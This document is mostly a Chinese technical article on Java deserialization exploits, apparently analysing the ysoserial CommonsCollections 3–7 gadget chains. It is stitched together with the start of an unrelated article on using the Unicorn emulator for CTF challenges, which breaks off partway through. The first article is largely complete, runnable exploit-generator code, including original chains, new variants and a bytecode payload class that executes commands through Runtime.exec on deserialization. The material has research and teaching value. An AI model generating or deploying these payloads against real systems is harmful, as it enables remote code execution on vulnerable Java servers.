import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class payload extends AbstractTranslet {
//将命令写在static代码块或者构造函数中都可以
{
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
public payload(){
System.out.println("tr1ple 2333");
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
## CommonsCollections3
反序列化调用链如下所示：
AnnotationInvocationHandler.readObject()
Proxy(LazyMap).extrySet()
LazyMap.get()
ChainedTransformer.transform()
constantTransformer(TrAXFilter.class)
InstantiateTransformer.transform()
Constructor.newInstance()
TemplatesImpl.newTransformer()
(payload实例化)rce->calc.exe
cc3从外层和cc1一样都是从AnnotationInvocationHandler的readObject进入，不同点是内部引入了新的InstantiateTransformer类，该类的transformer有个特点即可以通过newInstance方法实例化入口的key
那么因为AnnotationInvocationHandler+lazymap.get不存在的key导致key不可控，因此只需要chainedTransformer第一个transfomer为constanttransformer即可，这里用到了类com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter，该类有个特点即如下图所示其构造函数中调用了templates.newTransformer()函数。
**CommonsCollections3.java:**
package CommonCollections3;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.functors.InstantiateTransformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
//@Dependencies({"commons-collections:commons-collections:3.1"})
public class exp {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException, NotFoundException, IOException, CannotCompileException {
//构造TemplatesImpl实例
TemplatesImpl tmp = new TemplatesImpl();
//封装TemplatesImpl实例
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(payload.class));
CtClass pay = pool.get(payload.class.getName());
byte[] PayCode = pay.toBytecode();
Class clazz;
clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field tf = clazz.getDeclaredField("_bytecodes");
tf.setAccessible(true);
tf.set(tmp,new byte[][]{PayCode});
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmp,"tr1ple");
HashMap InnerMap = new HashMap();
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{tmp} //将TemplasImpl的实例放进参数值位置，从而调用newInstance实例化传入
)
};
//封装chained和lazymap
ChainedTransformer chined = new ChainedTransformer(trans);
Map outmap = LazyMap.decorate(InnerMap,chined);
//接下来的构造与commonscollection1相同
final Constructor con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
con.setAccessible(true);
InvocationHandler han = (InvocationHandler)con.newInstance(Override.class,outmap);
Map proxy = (Map) Proxy.newProxyInstance(exp.class.getClassLoader(),outmap.getClass().getInterfaces(),han);
final Constructor out_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
out_con.setAccessible(true);
InvocationHandler out_han = (InvocationHandler) out_con.newInstance(Override.class,proxy);
//序列化
File file;
file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections3.ser");
FileOutputStream fo = new FileOutputStream(file);
ObjectOutputStream ObjOut = new ObjectOutputStream(fo);
ObjOut.writeObject(out_han);
}
}
## CommonsCollections4
反序列化调用链如下所示：
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingConparator()
ChainedTransformer.transform()
InstantiateTransformer.transform()
(TrAXFilter)Constructor.newInstance()
templatesImpl.newTranformer()
Method.invoke()
Runtime.exec()
因为cc3引入了InstantiateTransformer类来对cc1做了个变形，那么同理，该类对于cc2也能做同样的变型来形成一条新的链，所以cc4相对于cc2来说并没有将templatesImpl类的实例直接放入队列，而是和cc3一样，利用chained转换链+一个constantTranformer返回TrAXFilter类
从而第二次transform的时候即调用该类的newInstance实例化，而实例化的参数因为也是可控的，因此在参数位置放入templateImpl实例
**CommonsCollections4.java**
package CommonsCollections4;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.ComparableComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class exp {
public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException {
//封装templasImpl实例
TemplatesImpl tmp = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(payload.class));
CtClass pay_class = pool.get(payload.class.getName());
byte[] payCode = pay_class.toBytecode();
Class clazz;
clazz =Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
//存储payload字节码
Field byteCode = clazz.getDeclaredField("_bytecodes");
byteCode.setAccessible(true);
byteCode.set(tmp,new byte[][]{payCode});
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmp,"tr1ple");
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{tmp}) //将TemplatesImpl实例放进参数值位置，与cc3原理一样，便于在构造函数中触发newTransformer
};
//封装chained转换链
ChainedTransformer chian = new ChainedTransformer(trans);
TransformingComparator transCom = new TransformingComparator(chian);
//封装外层的队列
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field com = PriorityQueue.class.getDeclaredField("comparator");
com.setAccessible(true);
com.set(queue,transCom);
//序列化
File file;
file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections4.ser");
ObjectOutputStream obj_out = new ObjectOutputStream(new FileOutputStream(file));
obj_out.writeObject(queue);
}
}
## CommonsCollections5
反序列化调用链如下所示：
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
cc5这条链相对于前四条来说外部的入口点变了，但是内部还是没变，依然是通过lazymap.get，那么后面就可以跟cc1的调用一样，直接通过1层constantTransformer和3层invokerTransformer结合来rce，那么相当于外面的衣服换了，里面的衣服没换
`Commonscollections5衍生1`：想想cc3的构造，对于cc1而言，和cc5相比正好相反，所以将cc3的链接点放到cc5，从而就可以衍生出第一条新的利用链
`Commonscollections5衍生2`：因为TiedMapEntry键对应的值是可控的，因此第一次传入this.factory.transform的key也是可控的，因此根据cc2的特点，直接在外部放入templatesImpl类的实例，然后结合invokeTransformer调用该类的newTransformer或者getoutputProperties又衍生出第二条新的利用链
**CommonsCollections5.java(原版exp):**
package CommonsCollections5;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class exp {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
//构造内部的constant+invoke转换链
Transformer[] trans = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
//封装chained转换链
ChainedTransformer chian = new ChainedTransformer(trans);
//封装lazymap
HashMap map = new HashMap();
Map innerMap = LazyMap.decorate(map,chian);
//构造外部的触发链触发varobj.tostring到达lazymap.get
TiedMapEntry entry = new TiedMapEntry(innerMap, "tr1ple");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valField = val.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(val,entry); //将TiedMapEntry实例放进val属性，从而在反序列化还原后最终调用this.map.get
//序列化
File file;
file =new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections5.ser");
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(file));
obj.writeObject(val);
}
}
**CommonsCollections5-1.java:（根据cc1特点生成的衍生版1）**
package CommonsCollections5;
import CommonsCollections4.payload;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class exp1 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, NotFoundException, CannotCompileException, ClassNotFoundException {
//封装TemplatesImpl实例
TemplatesImpl tmp = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(payload.class));
CtClass pay_class = pool.get(payload.class.getName());
byte[] payCode = pay_class.toBytecode();
Class clazz;
clazz =Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
//存储payload类
Field byteCode = clazz.getDeclaredField("_bytecodes");
byteCode.setAccessible(true);
byteCode.set(tmp,new byte[][]{payCode});
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmp,"tr1ple");
//构造内部的转换链，与原版cc5不同的是此时constanTransformer返回不再是Runtime.class
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{tmp}
)
};
//封装chained转换链
ChainedTransformer chian = new ChainedTransformer(trans);
HashMap map = new HashMap();
Map innerMap = LazyMap.decorate(map,chian);
//构造外部的触发点
TiedMapEntry entry = new TiedMapEntry(innerMap, "tr1ple");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valField = val.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(val,entry);
//序列化
File file;
file =new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections5.ser");
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(file));
obj.writeObject(val);
}
}
**CommonsCollections5-2.java：（根据cc2特点生成的衍生版2）**
package CommonsCollections5;
import CommonsCollections4.payload;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class exp2 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, CannotCompileException, NotFoundException {
//封装Templates实例
TemplatesImpl tmp = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(payload.class));
CtClass pay_class = pool.get(payload.class.getName());
byte[] payCode = pay_class.toBytecode();
Class clazz;
clazz =Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
//存储payload字节码
Field byteCode = clazz.getDeclaredField("_bytecodes");
byteCode.setAccessible(true);
byteCode.set(tmp,new byte[][]{payCode});
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmp,"tr1ple");
//只需要一次invoke反射调用即可
InvokerTransformer trans = new InvokerTransformer("newTransformer",new Class[0],new Object[0]);
HashMap map = new HashMap();
Map innerMap = LazyMap.decorate(map,trans);
//构造外部的触发链,将构造的TemplateImpl实例放入
TiedMapEntry entry = new TiedMapEntry(innerMap, tmp);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valField = val.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(val,entry);
//序列化
File file;
file =new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections5-2.ser");
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(file));
obj.writeObject(val);
}
}
## CommonsCollections6
反序列化调用链如下所示：
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
cc6外部也是采用了新的hashset来触发其readObject()，而hashset对象的插入是根据它的hashcode，并且hashset内用HashMap对它的内部对象进行排序，那么反序列化后恢复元素的过程中，将再次计算key的hashcode，而TiedMapEntry有趣的一点是它的hashCode函数中将调用该类的getvalue函数，而我们在分析完cc5之后知道getvalue函数中将调用this.map.get(this.key)，所以此时后半部调用链和cc5又是一模一样了，接着就是lazymap.get干的事，cc6中用的是也是一层contantTransform+3层invokeTranform。
`Commonscollections6衍生1:`因为这里key值也是可控的，因此cc6同时也可以进行换装了，即根据cc3的特点结合一层ConstantTransformer+一层invokertransformer，利用链的上半部分不变，只变下半部分的chained即可生成第一条衍生版的cc6
`Commonscollections6衍生2:`第二种显然与cc5的衍生也是一样的，因为最终进入第一层transformer的key可控，因此根据cc2的特点结合一层invokeTransformer反射即可形成cc6的第二条衍生链
**CommonsCollections6.java(原版exp):**
package CommonsCollections6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Method;
import java.lang.Class;
import java.lang.Runtime;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class exp {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, IOException {
//构造内部转换链
Transformer[] trans = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class},new Object[]{"calc.exe"}
)
};
ChainedTransformer chain = new ChainedTransformer(trans);
HashMap innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "tr1ple2333");
innerMap.clear();
//构造外部入口链
HashSet newSet = new HashSet(1);
newSet.add("tr1ple");
Field innerSetMap = HashSet.class.getDeclaredField("map");
innerSetMap.setAccessible(true);
//修改hashset内部的hashmap存储
HashMap setMap = (HashMap)innerSetMap.get(newSet);
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
//拿到存储的数据
Object[] obj = (Object[])table.get(setMap);
Object node = obj[0];
System.out.println(node.getClass().getName());
Method[] methods = node.getClass().getMethods();
for(int i=0;i<methods.length;i++){
System.out.println(methods[i].getName());
}
//拿到此时存到hashset中的node节点，key为要修改的点，这里需要修改它为真正的payload，即Tiedmapentry
System.out.println(node.toString());
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,entry);
//hashset的hashmap中的node节点修改完值以后放进hashset
Field finalMap = newSet.getClass().getDeclaredField("map");
finalMap.setAccessible(true);
finalMap.set(newSet,setMap);
//序列化
File file;
file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections6.ser");
ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream(file));
objOut.writeObject(newSet);
}
}
**CommonsCollections6-1(根据cc3特点生成的衍生版1).java**
package CommonsCollections6;
import CommonsCollections4.payload;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.lang.reflect.Method;
import java.lang.Class;
import java.lang.Runtime;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class exp1 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, IOException, NotFoundException, CannotCompileException {
//封装templatesImpl实例
TemplatesImpl tmp = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(payload.class));
CtClass pay_class = pool.get(payload.class.getName());
byte[] payCode = pay_class.toBytecode();
Class clazz;
clazz =Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
//存储payload字节码
Field byteCode = clazz.getDeclaredField("_bytecodes");
byteCode.setAccessible(true);
byteCode.set(tmp,new byte[][]{payCode});
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmp,"tr1ple");
//构造内部转换链
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{tmp}
)
};
//封装chained转换链
ChainedTransformer chain = new ChainedTransformer(trans);
HashMap innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "tr1ple2333");
//innerMap.clear();
//构造外部入口链
HashSet newSet = new HashSet(1);
newSet.add("tr1ple");
//反射替换hashset内部的node元素
Field innerSetMap = HashSet.class.getDeclaredField("map");
innerSetMap.setAccessible(true);
//修改hashset内部的hashmap存储
HashMap setMap = (HashMap)innerSetMap.get(newSet);
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
//拿到node节点存储的数据
Object[] obj = (Object[])table.get(setMap);
Object node = obj[0];
System.out.println(node.getClass().getName());
//Method[] methods = node.getClass().getMethods();
//拿到此时存到hashset中的node节点，key为要修改的点，这里需要修改它为真正的payload，即Tiedmapentry
System.out.println(node.toString());
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,entry);
//hashset的hashmap中的node节点修改完值以后放进hashset
Field finalMap = newSet.getClass().getDeclaredField("map");
finalMap.setAccessible(true);
finalMap.set(newSet,setMap);
//序列化
File file;
file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections6.ser");
ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream(file));
objOut.writeObject(newSet);
}
}
**CommonsCollections6-2.java:(根据cc2特点生成的衍生版2)**
package CommonsCollections6;
import CommonsCollections4.payload;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Method;
import java.lang.Class;
import java.lang.Runtime;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class exp2 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, IOException, CannotCompileException, NotFoundException {
//封装TemplateImpl类
TemplatesImpl tmp = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(payload.class));
CtClass pay_class = pool.get(payload.class.getName());
byte[] payCode = pay_class.toBytecode();
Class clazz;
clazz =Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
//存储payload字节码
Field byteCode = clazz.getDeclaredField("_bytecodes");
byteCode.setAccessible(true);
byteCode.set(tmp,new byte[][]{payCode});
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmp,"tr1ple");
//封装一层Transformer
InvokerTransformer trans = new InvokerTransformer("newTransformer",new Class[0],new Object[0]);
////InvokerTransformer trans = new InvokerTransformer("getOutputProperties",new Class[0],new Object[0]);
//将templatesImpl实例放进TiedmapEntry外层作为key
HashMap innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, trans);
TiedMapEntry entry = new TiedMapEntry(lazyMap, tmp);
innerMap.clear();
//构造外部入口点
HashSet newSet = new HashSet(1);
newSet.add("tr1ple");
Field innerSetMap = HashSet.class.getDeclaredField("map");
innerSetMap.setAccessible(true);
//修改hashset内部的hashmap存储
HashMap setMap = (HashMap)innerSetMap.get(newSet);
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
//拿到存储的数据
Object[] obj = (Object[])table.get(setMap);
Object node = obj[0];
System.out.println(node.getClass().getName());
//拿到此时存到hashset中的node节点，key为要修改的点，这里需要修改它为真正的payload，即Tiedmapentry
System.out.println(node.toString());
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,entry);
//hashset的hashmap中的node节点修改完值以后放进hashset
Field finalMap = newSet.getClass().getDeclaredField("map");
finalMap.setAccessible(true);
finalMap.set(newSet,setMap);
//序列化
File file;
file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections6-2.ser");
ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream(file));
objOut.writeObject(newSet);
}
}
### CommonsCollections7
反序列化调用链如下所示：
Hashtable.readObject
Hashtable.reconstitutionPut
AbstractMapDecorator.equals
AbstractMap.equals
LazyMap.get
ChainedTransformer.transform
InvokerTransformer.transform
Runtime.exec
cc7的入口点加入了hashtable类，构造感觉也比较有意思，将两个hashcode值相同的lazymap放进同一个hashtable中，再反序列化恢复lazymap再次装进hashtable中时，因为两个lazpmap算出来hash值相同
所以要进一步从第二个lazymap中取出第一个lazymap的key判断是否元素也是一样，所以取key当然又要走到lazymap.get，那么利用hash相同的特性在反序列化利用链jdk7u21中也用到了，绕过e.hash
== hash来进一步触发动态代理，利用链的构造也非常精巧，因此理解函数内部的工作过程对于知识的融汇贯通也非常重要
`Commonscollections7衍生1`：根据TrAXFilter类的特点结合一层constantTransformer和一层invokeTransformer即可实例化payload类中的字节码
**CommonsCollections7.java(原版exp):**
package CommonsCollections7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class exp {
public static void main(String[] args) throws IOException {
//封装转换链
Transformer[] trans = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
//封装chained链
ChainedTransformer chain = new ChainedTransformer(trans);
//构造两个hash值相同的lazymap
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1,chain);
lazyMap1.put("zZ",1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chain);
lazyMap2.put("yy",1);
Hashtable hashTable = new Hashtable();
hashTable.put(lazyMap1,1);
hashTable.put(lazyMap2,2);
//移除生成exp过程中因两个lazymap的hash相同而放入lazymap2的键
lazyMap2.remove("zZ");
//序列化
File file;
file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections7.ser");
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(file));
obj.writeObject(hashTable);
}
}
**CommonsCollections7-1.java(根据cc3特点生成衍生版1)：**
package CommonsCollections7;
import CommonsCollections4.payload;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class exp1 {
public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
//封装TemplatesImpl类
TemplatesImpl tmp = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(payload.class));
CtClass pay_class = pool.get(payload.class.getName());
byte[] payCode = pay_class.toBytecode();
Class clazz;
clazz =Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
//存储payload字节码
Field byteCode = clazz.getDeclaredField("_bytecodes");
byteCode.setAccessible(true);
byteCode.set(tmp,new byte[][]{payCode});
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmp,"tr1ple");
Transformer[] trans = new Transformer[]{
null,
null
};
//封装chained转换链
ChainedTransformer chain = new ChainedTransformer(trans);
//构造两个hash值相同的lazymap
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1,chain);
lazyMap1.put("zZ",1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chain);
lazyMap2.put("yy",1);
Hashtable hashTable = new Hashtable();
hashTable.put(lazyMap1,1);
hashTable.put(lazyMap2,2);
lazyMap2.remove("zZ");
//因为构造exp过程也会调用lazymap.get，如果直接调用transform将报错，因此通过反射赋值
Transformer[] trans1 = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{tmp}
)
};
clazz = ChainedTransformer.class;
Field itrans = clazz.getDeclaredField("iTransformers");
itrans.setAccessible(true);
itrans.set(chain,trans1);
//序列化
File file;
file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections7-1.ser");
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(file));
obj.writeObject(hashTable);
}
}
## 总结
ysoserial在构造整个CommonsCollections链的过程中多处用到了动态代理和反射的知识，想熟练掌握这些链的构造一定要熟悉基本概念，然后要能够想清楚每条链的是如何链接起来的，希望这篇文章能够帮助大家更好巩固CommonsCollections系列的理解，文中若有表述不对，还请师傅们指出。 | 社区文章 |
# 使用unicorn来自动化解题
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 介绍
这里题目中的 **自动化解题** 可能有一些歧义，我这里指的是像 **TCTF 2021 FEA 、MTCTF 2021 100mazes**
这样存在大量相似的模块或者功能需要通过解析来自动化的提取变量数据，然后根据这些变量数据来解题。
最近很多比赛出现了 unicorn 相关的题目，所以特地去了解和学习了 unicorn 这款模拟执行工具。Unicorn 是一个基于 QEMU
的轻量级、多平台、多架构的 CPU 模拟器框架，支持非常多的架构和功能，扩展性非常强，所以在我们 CTF 实战的时候，使用他来分析一些 **复杂的题目**
或者 **不方便模拟的架构的题目** 都比较合适。
## 使用方法
这里我针对使用 Python 语言、AMD64
架构进行介绍，其他架构的操作类似，也可以参考[官方样例程序](https://github.com/unicorn-engine/unicorn/tree/master/bindings/python)进行学习。
### 导入模块并初始化模块
from unicorn import *
from unicorn.x86_const import *
uc = Uc(UC_ARCH_X86, UC_MODE_64)
导入之后接下来只需要对 uc 这个对象进行操作即可
### 寄存器读写
uc.reg_write(UC_X86_REG_RAX, 0x71f3029efd49d41d)
uc.reg_write(UC_X86_REG_RBX, 0xd87b45277f133ddb)
uc.reg_write(UC_X86_REG_RCX, 0xab40d1ffd8afc461)
uc.reg_write(UC_X86_REG_RDX, 0x919317b4a733f01)
uc.reg_write(UC_X86_REG_RSI, 0x4c24e753a17ea358)
uc.reg_write(UC_X86_REG_RDI, 0xe509a57d2571ce96)
uc.reg_write(UC_X86_REG_R8, 0xea5b108cc2b9ab1f)
uc.reg_write(UC_X86_REG_R9, 0x19ec097c8eb618c1)
uc.reg_write(UC_X86_REG_R10, 0xec45774f00c5f682)
